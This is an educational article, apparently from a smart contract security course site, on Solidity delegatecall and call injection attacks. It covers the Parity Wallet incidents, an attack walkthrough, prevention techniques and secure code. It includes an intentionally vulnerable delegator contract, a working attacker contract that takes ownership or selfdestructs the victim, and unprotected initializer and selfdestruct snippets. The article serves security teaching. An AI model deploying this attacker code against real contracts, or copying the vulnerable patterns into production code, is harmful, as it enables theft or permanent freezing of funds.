Delegatecall & Call Injection Attacks

Smart Contract Vulnerability Deep Dive

JohnnyTime
JohnnyTime · Updated June 23, 2026
20 min read
Total Stolen $77,775,000
Last Attack Sep 22, 2025
Latest Victim UXLINK

Summarize with AI

Delegatecall & Call Injection Attacks: Complete Guide to Detection and Prevention

The Parity Wallet hack didn't just freeze $150 million - it proved that a single delegatecall vulnerability can permanently destroy an entire protocol. In November 2017, an attacker exploited an unprotected initialization function to become the owner of a shared library contract, then called selfdestruct to brick hundreds of wallets forever.

If you're building smart contracts, understanding how delegatecall works isn't optional - it's a matter of survival. This comprehensive guide covers everything you need to know, from the mechanics of the iconic Parity disaster to modern, battle-tested prevention techniques that will protect your protocol from call injection attacks.

What Is a Delegatecall Attack?

A delegatecall attack in Solidity occurs when a malicious actor exploits a smart contract that performs a delegatecall to a target address they can control.

Unlike the standard call function, delegatecall executes the target code within the context of the calling contract. This means it preserves msg.sender, msg.value, and most critically, the caller's storage layout. It's an incredibly powerful feature for building upgradeable contracts and proxies, but it comes with massive risks.

The Bank Vault Analogy

Think of delegatecall like giving someone the keys to your bank vault and asking them to organize it for you inside the vault itself.

If that person is trustworthy (like a pre-approved library contract), they'll do exactly what you expect. But if they're malicious (an attacker-controlled contract), they can rearrange everything - or just empty the vault entirely. That's the danger of delegatecall: you are essentially executing someone else's code with full, unrestricted access to your contract's state.

Why Delegatecall Attacks Are So Dangerous

$0M+
Total Value Lost/Frozen
$0M
Parity Wallet (Frozen Forever)
0
Wallets Permanently Disabled

Delegatecall vulnerabilities have caused some of the most devastating permanent losses in crypto history:

Attack Year Impact
Parity Wallet Hack 2017 $150M frozen forever
Parity Wallet (First Attack) 2017 $30M stolen
Various Proxy Exploits 2018-2023 $50M+ combined

For seasoned auditors and attackers alike, delegatecall is often considered the most dangerous opcode in Solidity because it hands foreign code complete access to your contract's storage without restriction.

Call vs Delegatecall: The Critical Difference

Understanding the distinction between these two opcodes is a non-negotiable requirement for secure Solidity development:

Feature call delegatecall
Execution Context Target contract Calling contract
Storage Access Target's storage Caller's storage
msg.sender Caller's address Original sender (preserved)
msg.value Can be set Preserved from original
Use Case Calling external functions Logic libraries & Proxies
Risk Level Moderate Critical

Think of call as visiting a friend's house. You might ask them to do something, but you can't just rearrange their furniture. But delegatecall? That's inviting a complete stranger into your house and telling them to redecorate however they want.

📞
call()
"Executes code in the target contract's context. Storage changes happen in the target. Like visiting someone's house."
Risk: Lower
delegatecall()
"Executes target code in the caller's context. Storage changes happen in YOUR contract. Like inviting a stranger into your house."
Risk: Critical
🔒
staticcall()
"Read-only call that reverts if any state modification is attempted. Safe for querying external contracts."
Risk: Lowest

The Parity Wallet Hack: The $150 Million Freeze

The Parity Wallet hack wasn't just a bug - it was a $150 million lesson that changed how we think about proxy patterns forever.

What Was Parity Wallet?

Parity was one of the most popular Ethereum wallets and node implementations, created by Gavin Wood (Ethereum co-founder).

The architecture was elegant:

  • Multi-signature wallets for enhanced security

  • Shared library contract to reduce deployment costs

  • Wallets used delegatecall to access library functions

The scale was massive:

  • Hundreds of multi-sig wallets deployed

  • Millions in ETH stored across the network

  • Trusted by major projects and organizations

The First Attack: July 2017

In July 2017, the first Parity Wallet vulnerability was exploited. An attacker discovered that the library's initWallet() function could be called on individual wallet instances, allowing ownership takeover.

Result: $30 million stolen.

Parity patched the vulnerability, but in doing so, they introduced an even more catastrophic flaw.

The Second Attack: November 6, 2017

This is where disaster truly struck.

A user named "devops199" discovered that the library contract itself had never been initialized. The patched code allowed anyone to call initWallet() directly on the library - not through a proxy, but on the actual library contract.

"I accidentally killed it." - devops199, after triggering the vulnerability

Here's what happened:

  1. devops199 called initWallet() on the library contract

  2. They became the owner of the shared library

  3. They called kill() (selfdestruct) to "fix" the mistake

  4. The library code was permanently destroyed

  5. All wallets delegating to that library became frozen

The Aftermath

Unlike a traditional hack where funds are stolen, this was permanent destruction.

The numbers were staggering:

  • $150 million in ETH frozen forever

  • 587 wallets permanently disabled

  • No recovery mechanism possible

  • Funds remain locked to this day

The Parity Wallet hack demonstrated a terrifying truth: selfdestruct called via delegatecall destroys the calling contract, not the library. When the library was destroyed, every proxy contract pointing to it became a hollow shell - unable to execute any code, unable to move any funds.

🔒
"Never use delegatecall with user-supplied target addresses."
This single rule would have prevented both Parity Wallet hacks. The $150 million frozen forever remains a permanent reminder that delegatecall grants foreign code complete access to your contract's storage.

How Delegatecall Attacks Work: Step-by-Step

Understanding the attack mechanism is crucial for prevention. Let's break down the anatomy of a delegatecall exploit.

The Attack Flow

Step What Happens State
1 Attacker identifies vulnerable contract Contract has delegatecall with user-controlled target
2 Attacker deploys malicious contract Storage slots aligned with victim
3 Attacker calls vulnerable function Passes malicious contract address
4 Victim executes delegatecall Code runs in victim's context
5 Malicious code modifies storage owner variable overwritten
6 Attacker now owns the contract Full control achieved

The Four Critical Phases

Phase 1: Reconnaissance The attacker identifies a contract with a delegatecall that accepts user input for the target address.

Phase 2: Payload Preparation The attacker deploys a malicious contract with a storage layout matching the victim's. This ensures variables align correctly during the attack.

Phase 3: Execution The attacker calls the vulnerable function, passing their malicious contract address. The victim contract executes delegatecall, running the attacker's code with full access to the victim's storage.

Phase 4: Exploitation The malicious code overwrites critical state variables (like owner) or executes selfdestruct to permanently destroy the contract.

1
Tap to reveal
Reconnaissance

The attacker identifies a contract with a delegatecall that accepts user input for the target address - or finds an uninitialized library contract.

2
Tap to reveal
Payload Preparation

Deploy a malicious contract with a storage layout matching the victim's. Storage Slot 0 must align with the victim's owner variable for the takeover to work.

3
Tap to reveal
Execute Delegatecall

Call the vulnerable function with the malicious contract address. The victim executes delegatecall, running the attacker's code with full access to the victim's storage.

4
Tap to reveal
Ownership Takeover (or Destruction)

The malicious code overwrites owner (takeover) or calls selfdestruct (permanent destruction). The attacker now controls - or has destroyed - the contract.


Want to execute this attack yourself in a safe lab? The Smart Contract Hacking course includes hands-on delegatecall exercises where you'll exploit vulnerable contracts - exactly like real security researchers do.

{
  "title": "🎬 Storage collision: delegatecall overwrites the proxy's owner",
  "stage": { "width": 920, "height": 440 },
  "nodes": [
    { "id": "attacker", "label": "Attacker", "role": "deploys + calls", "emoji": "🧑‍💻", "x": 60, "y": 200, "color": "red" },
    { "id": "proxy", "label": "The Proxy", "role": "owner @ slot 0", "emoji": "🏦", "x": 440, "y": 60, "color": "cyan" },
    { "id": "evil", "label": "Malicious Lib", "role": "pwn() writes slot 0", "emoji": "📜", "x": 440, "y": 330, "color": "purple" }
  ],
  "links": [
    { "from": "attacker", "to": "proxy" },
    { "from": "proxy", "to": "evil" },
    { "from": "evil", "to": "proxy" },
    { "from": "attacker", "to": "evil" }
  ],
  "nets": [
    { "id": "ctrl", "label": "Proxy owner" }
  ],
  "legend": [
    { "cls": "call", "label": "call / delegatecall" },
    { "cls": "token", "label": "value moved" },
    { "cls": "sig", "label": "storage write" },
    { "cls": "fail", "label": "reverted / destroyed" }
  ],
  "scenarios": {
    "Vulnerable (user-controlled target)": [
      { "note": "VulnerableDelegator keeps <b>owner</b> at storage slot 0 and exposes execute(target, data) that delegatecalls <b>any</b> address.", "hi": ["proxy"], "bal": { "proxy": "owner: deployer", "evil": "-" }, "net": { "ctrl": "deployer" } },
      { "note": "Attacker deploys a malicious lib whose slot 0 is also an address - layouts aligned.", "hi": ["attacker","evil"], "chip": { "from": "attacker", "to": "evil", "label": "deploy lib", "cls": "call" }, "bal": { "evil": "writes slot 0" } },
      { "note": "Attacker calls <b>execute(evilLib, pwn())</b> on the proxy.", "hi": ["attacker","proxy"], "chip": { "from": "attacker", "to": "proxy", "label": "execute(evil, pwn)", "cls": "call" } },
      { "note": "The proxy <b>delegatecalls</b> the lib: the lib's code runs in the proxy's storage context.", "tone": "bad", "hi": ["proxy","evil"], "chip": { "from": "proxy", "to": "evil", "label": "delegatecall", "cls": "call" } },
      { "note": "pwn() writes slot 0 - but slot 0 is the proxy's <b>owner</b>. The attacker is now owner.", "tone": "bad", "hi": ["evil","proxy"], "chip": { "from": "evil", "to": "proxy", "label": "slot 0 = attacker", "cls": "sig" }, "bal": { "proxy": "owner: ATTACKER" }, "net": { "ctrl": "ATTACKER" } },
      { "note": "Owning the proxy, the attacker drains it - or selfdestructs the library and freezes everything (Parity: $150M).", "tone": "bad", "hi": ["attacker","proxy"], "chip": { "from": "attacker", "to": "proxy", "label": "drain / selfdestruct", "cls": "fail" } }
    ],
    "Fixed (fixed, trusted target)": [
      { "note": "The fix removes the user-controlled target: the proxy delegatecalls only a <b>fixed, audited</b> implementation - the address is hardcoded, not passed by the caller.", "hi": ["proxy"], "bal": { "proxy": "owner: deployer", "evil": "-" }, "net": { "ctrl": "deployer" } },
      { "note": "Attacker calls execute(evilLib, ...) - but the target is no longer caller-supplied, so the malicious address is rejected.", "tone": "ok", "hi": ["attacker","proxy"], "chip": { "from": "attacker", "to": "proxy", "label": "evil target rejected", "cls": "fail" } },
      { "note": "Any delegatecall now lands on trusted library code only - no attacker bytecode ever touches the proxy's storage.", "tone": "ok", "hi": ["proxy"] },
      { "note": "Slot 0 (owner) is never attacker-writable. The proxy stays under its rightful owner.", "tone": "ok", "hi": ["proxy"], "bal": { "proxy": "owner: safe" }, "net": { "ctrl": "deployer" } }
    ]
  }
}

Delegatecall Vulnerable Code Example

Let's examine the classic vulnerability pattern that enables delegatecall attacks.

Warning: This contract is intentionally vulnerable. Never use this pattern in production.

The Vulnerable Execute Function

// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract VulnerableDelegator {
    // Storage Slot 0: Critical state variable
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    // VULNERABILITY: Allows delegatecall to arbitrary user-supplied address
    function execute(address target, bytes memory data) public {
        // This executes code at `target` inside THIS contract's context
        // An attacker can pass a malicious contract that overwrites `owner`
        (bool success, ) = target.delegatecall(data);
        require(success, "Execution failed");
    }
}

Why Is This Vulnerable?

The problem is the user-controlled target address:

  1. Anyone can call execute() with any address

  2. The target code runs with full access to this contract's storage

  3. No validation of the target address

  4. No access control on the function

  5. Attacker can overwrite owner at storage slot 0

This single function is all an attacker needs to take complete control of the contract.

Delegatecall attack diagram - Same slots, two outcomes: call keeps storage separate, delegatecall shares it
Same slots, two outcomes: call keeps storage separate, delegatecall shares it

Delegatecall Attacker Contract Example

Here's how an attacker exploits the vulnerable delegator.

// ATTACKER CONTRACT - Educational purposes only
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract DelegatecallAttacker {
    // CRITICAL: Must mirror the storage layout of the victim
    // Storage Slot 0 must match VulnerableDelegator's 'owner' variable
    address public owner;

    // This function will be executed via delegatecall in victim's context
    function pwn() public {
        // When run via delegatecall, 'owner' refers to victim's storage slot 0
        // msg.sender is preserved from the original transaction (the attacker)
        owner = msg.sender;
    }

    // Alternative: Destroy the victim contract entirely (Parity-style)
    function destroy() public {
        // When called via delegatecall, selfdestruct destroys the CALLING contract
        // This is how the Parity Wallet hack permanently froze $150M
        selfdestruct(payable(msg.sender));
    }

    // Execute the attack
    function attack(address vulnerable) external {
        // Encode the call to pwn()
        bytes memory payload = abi.encodeWithSignature("pwn()");

        // Call the vulnerable contract's execute function
        (bool success, ) = vulnerable.call(
            abi.encodeWithSignature("execute(address,bytes)", address(this), payload)
        );
        require(success, "Attack failed");
    }
}

Attack Execution Summary

  1. Deploy attacker contract with matching storage layout

  2. Call attack() with the vulnerable contract's address

  3. Execute triggers delegatecall to attacker's pwn() function

  4. Overwrite owner variable is set to attacker's address

  5. Control attacker now owns the vulnerable contract

In the Parity hack, the attacker used destroy() instead of pwn(), permanently bricking the contract rather than just taking ownership.


Ready to write exploits like this yourself? The Smart Contract Hacking course covers delegatecall attacks in-depth with real-world scenarios. Learn from JohnnyTime (12+ years in cybersecurity) and Trust (#1 Code4rena warden).


How to Prevent Delegatecall Attacks: Best Practices

Preventing delegatecall vulnerabilities requires a defense-in-depth strategy. Here are the industry-standard techniques.

Effectiveness95/100

What it does: Uses immutable or owner-only setter for the delegatecall target. Users can never control which code executes.

When to use: Every contract that uses delegatecall. This is the cardinal rule of delegatecall security.

Limitation: Immutable addresses can't be upgraded. Owner-only setters require trust in the admin.

Effectiveness90/100

What it does: Battle-tested proxy implementations (Transparent, UUPS, Beacon) with proper access controls and storage management.

When to use: Any upgradeable contract architecture. Never roll your own proxy logic.

Limitation: Added complexity. Must maintain consistent storage layouts across upgrades.

Effectiveness85/100

What it does: Uses OpenZeppelin's Initializable contract to ensure initialize() can only be called once. Prevents the exact Parity vulnerability.

When to use: Every proxy/library contract. Initialize the implementation contract in the constructor or immediately after deployment.

Limitation: Developers sometimes forget to initialize the implementation contract directly (not just through the proxy).

1. Never Accept User-Supplied Delegatecall Targets

This is the cardinal rule of delegatecall security.

Warning: Never use delegatecall with an address supplied by users or untrusted sources. This single rule prevents the majority of delegatecall exploits.

2. Hardcode Trusted Library Addresses

If your contract delegates logic to a library, hardcode the address or store it in a protected state variable:

Approach Security Level Flexibility
Hardcoded immutable Highest None
Owner-only setter High Upgradeable
Governance-controlled High DAO-managed
User-supplied Vulnerable Maximum

3. Use Access Control Modifiers

Restrict delegatecall-enabled functions:

modifier onlyOwner() {
    require(msg.sender == owner, "Not authorized");
    _;
}

function execute(bytes memory data) public onlyOwner {
    // Only owner can trigger delegatecall
}

4. Implement Storage Layout Protection

When using proxy patterns, ensure storage layouts between proxy and implementation contracts are perfectly aligned:

// Use explicit storage slots (EIP-1967)
bytes32 private constant IMPLEMENTATION_SLOT =
    bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);

5. Use OpenZeppelin's Proxy Libraries

For upgradeable contracts, use battle-tested patterns:

  • Transparent Proxy Pattern - Admin functions separated from user calls

  • UUPS (Universal Upgradeable Proxy Standard) - Upgrade logic in implementation

  • Beacon Proxy - Multiple proxies sharing one implementation

Never roll your own delegatecall logic.

6. Protect Initialization Functions

Ensure initialization functions can only be called once:

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract SecureLibrary is Initializable {
    function initialize() public initializer {
        // Can only be called once
    }
}

Delegatecall Secure Code Example

Here's a production-ready implementation combining multiple defense mechanisms.

// SECURE CONTRACT - Production-ready
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract SecureDelegator {
    // Storage Slot 0: Protected owner address
    address public owner;
    // Storage Slot 1: Trusted library (not user-controllable)
    address public trustedLibrary;

    // Events for transparency and monitoring
    event LibraryUpdated(address indexed oldLibrary, address indexed newLibrary);
    event ExecutionCompleted(bytes data, bytes returnData);
    event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);

    constructor(address _trustedLibrary) {
        require(_trustedLibrary != address(0), "Invalid library address");
        owner = msg.sender;
        trustedLibrary = _trustedLibrary;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized");
        _;
    }

    // SECURE: Users cannot choose the delegatecall target
    function execute(bytes memory data) public returns (bytes memory) {
        require(trustedLibrary != address(0), "Library not set");

        // Delegatecall to pre-approved library only
        (bool success, bytes memory returnData) = trustedLibrary.delegatecall(data);
        require(success, "Execution failed");

        emit ExecutionCompleted(data, returnData);
        return returnData;
    }

    // PROTECTED: Only owner can update the library
    function updateLibrary(address _newLibrary) public onlyOwner {
        require(_newLibrary != address(0), "Invalid library address");
        require(_newLibrary != trustedLibrary, "Same library");

        address oldLibrary = trustedLibrary;
        trustedLibrary = _newLibrary;

        emit LibraryUpdated(oldLibrary, _newLibrary);
    }

    // Two-step ownership transfer for safety
    function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0), "Invalid new owner");
        address oldOwner = owner;
        owner = _newOwner;
        emit OwnershipTransferred(oldOwner, _newOwner);
    }
}

Security Features at a Glance

Feature Protection
Hardcoded library target Prevents user-controlled delegatecall
onlyOwner modifier Access control on sensitive functions
Address validation Prevents zero-address attacks
Event emissions Transparency and monitoring
Two-step ownership Prevents accidental ownership loss

This implementation would have prevented both Parity Wallet hacks and countless other delegatecall exploits.


Types of Call Attacks Beyond the Basics

As smart contract architectures become more complex, so do attack vectors.

1. Storage Collision Attacks

When proxy and implementation storage layouts don't align, attackers can manipulate critical variables:

// Proxy: Slot 0 = implementation address
// Implementation: Slot 0 = arbitrary value
// Setting Implementation.value overwrites Proxy.implementation!

Prevention: Use EIP-1967 storage slots and maintain consistent layouts across upgrades.

2. Selfdestruct via Delegatecall

The Parity hack's signature move. When selfdestruct is called via delegatecall, it destroys the calling contract:

contract Library {
    function kill() public {
        selfdestruct(payable(msg.sender)); // Destroys CALLER
    }
}

Prevention: Never include selfdestruct in library contracts. Use access controls if absolutely necessary.

3. Constructor vs Initializer Confusion

Proxy patterns don't use constructors (they run during deployment only). Unprotected initialize() functions create vulnerabilities:

// VULNERABLE: Anyone can call initialize on the library directly
function initialize() public {
    owner = msg.sender;
}

Prevention: Use OpenZeppelin's Initializable contract with the initializer modifier.

4. Delegatecall in Fallback Functions

Forwarding all calls via delegatecall in fallback functions is powerful but dangerous:

fallback() external payable {
    address target = implementation;
    assembly {
        calldatacopy(0, 0, calldatasize())
        let result := delegatecall(gas(), target, 0, calldatasize(), 0, 0)
        // ...
    }
}

Prevention: Ensure implementation can never be modified by untrusted parties.


These advanced patterns separate junior auditors from senior researchers. The Smart Contract Hacking course covers storage collisions, proxy vulnerabilities, and advanced delegatecall attacks alongside flash loans, oracle manipulation, and more. Join 2,000+ security researchers in our Discord community.


Vulnerable

User-Controlled Target

Accepting delegatecall targets from user input gives attackers full storage access. This is the root cause of most delegatecall exploits and should never be allowed.

Partial Defense

Owner-Only Upgrade

Restricting delegatecall targets to admin-set addresses helps, but centralization risk remains. Admin key compromise can still lead to exploitation.

Recommended

OZ Proxy + Timelock + Audit

OpenZeppelin proxy patterns with governance timelocks and professional audits provide the safest upgradeable architecture available today.

Common Misconceptions About Delegatecall

?

"Delegatecall is inherently unsafe and should never be used."

Tap to reveal
MYTH

Delegatecall is essential for upgradeable contracts and is used safely by major protocols. The danger is user-controlled targets - not the opcode itself.

?

"selfdestruct via delegatecall destroys the library."

Tap to reveal
MYTH

When selfdestruct is called via delegatecall, it destroys the calling contract (the proxy), not the library. This is exactly how the Parity hack froze $150M permanently.

?

"Proxy patterns are safe as long as you use a well-known framework."

Tap to reveal
MYTH

Even OpenZeppelin proxies require careful implementation - consistent storage layouts, proper initialization of both proxy and implementation, and correct access control configuration.

?

"The Parity wallet funds are lost forever."

Tap to reveal
FACT

587 wallets holding $150M in ETH remain permanently frozen. The destroyed library contract cannot be restored, and no recovery mechanism exists on the Ethereum network.


Delegatecall vulnerabilities share a common thread with reentrancy attacks - both exploit the dangers of external calls in smart contracts. While reentrancy abuses callback mechanisms during value transfers, delegatecall attacks exploit execution context preservation. Mastering one requires understanding the other, as both stem from Solidity's external call semantics.

In complex DeFi exploits, delegatecall vulnerabilities are sometimes combined with flash loan attacks to provide the capital needed to interact with proxy contracts at scale, or to manipulate governance systems that control upgradeable proxies.


Quick Reference: Delegatecall Prevention Checklist

Before deploying any contract that uses delegatecall:

  • Never accept user-supplied delegatecall targets - the cardinal rule

  • Hardcode trusted library addresses or use owner-only setters

  • Use OpenZeppelin proxy patterns for upgradeability (never roll your own)

  • Protect initialization functions with initializer modifier

  • Maintain consistent storage layouts between proxy and implementation

  • Use EIP-1967 storage slots for proxy-specific variables

  • Implement access controls on all delegatecall-enabled functions

  • Never include selfdestruct in library contracts

  • Emit events for all library updates and ownership changes

  • Get professional audits before mainnet deployment

  • Monitor deployed contracts for suspicious delegatecall patterns


Test Your Delegatecall Knowledge

5 questions - Do you understand the most dangerous opcode?

Question 1 of 5

Frequently Asked Questions About Call Attacks

A delegatecall attack is when a malicious contract tricks another contract into running harmful code using delegatecall - like handing someone the keys to your house and having them rearrange or destroy everything inside.

call executes code in the target contract's context - changes happen in the target. delegatecall executes target code in the caller's context - changes happen in YOUR contract, making it dangerous when the target is untrusted.

Over $200 million has been lost or frozen due to delegatecall vulnerabilities. The Parity Wallet hack alone accounts for $150 million frozen permanently - funds that remain inaccessible to this day.

Yes, when implemented correctly using established standards like OpenZeppelin's Transparent Proxy or UUPS. Never implement custom proxy patterns without thorough security review. Proper initialization and consistent storage layouts are essential.

Yes, and it's devastating. When selfdestruct is called via delegatecall, it destroys the calling contract, not the library. The Parity Wallet hack used this to permanently freeze $150 million.


Conclusion: Learn From the $150 Million Mistake

The Parity Wallet hack isn't just a technical footnote - it's a permanent reminder that:

  • Delegatecall is the most dangerous opcode in Solidity

  • User-controlled delegatecall targets are critical vulnerabilities

  • Even "accidental" exploits can cause irreversible damage

  • The funds remain frozen to this day - a permanent monument to the risk

The good news? Delegatecall attacks are completely preventable.

Never accept user-supplied targets. Use battle-tested proxy libraries. Protect your initialization functions. Get professional audits.

Don't let your protocol become the next cautionary tale.


Take Your Security Skills to the Next Level

Understanding delegatecall attacks is just the beginning. To become a professional smart contract auditor, you need hands-on experience with real exploit scenarios.

The Smart Contract Hacking course delivers:

  • 320+ videos covering delegatecall, reentrancy, flash loans, oracle manipulation, and more

  • 40+ hands-on exercises exploiting and securing real contracts

  • Expert instruction from JohnnyTime, Trust (#1 Code4rena warden), and Pashov

  • 2,000+ member Discord for support and job opportunities

  • SSCH Certification to validate your expertise

Our students win audit contests, land security jobs, and earn significant bug bounties. See their success stories.

Start Your Security Researcher Journey

Sources and editorial notes

Reviewed by JohnnyTime. Last updated .

Master Delegatecall & Call Injection Attacks in a safe lab

Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.

Exploit setup Root-cause tracing Patch review
Practice Delegatecall & Call Injection Attacks Free Trial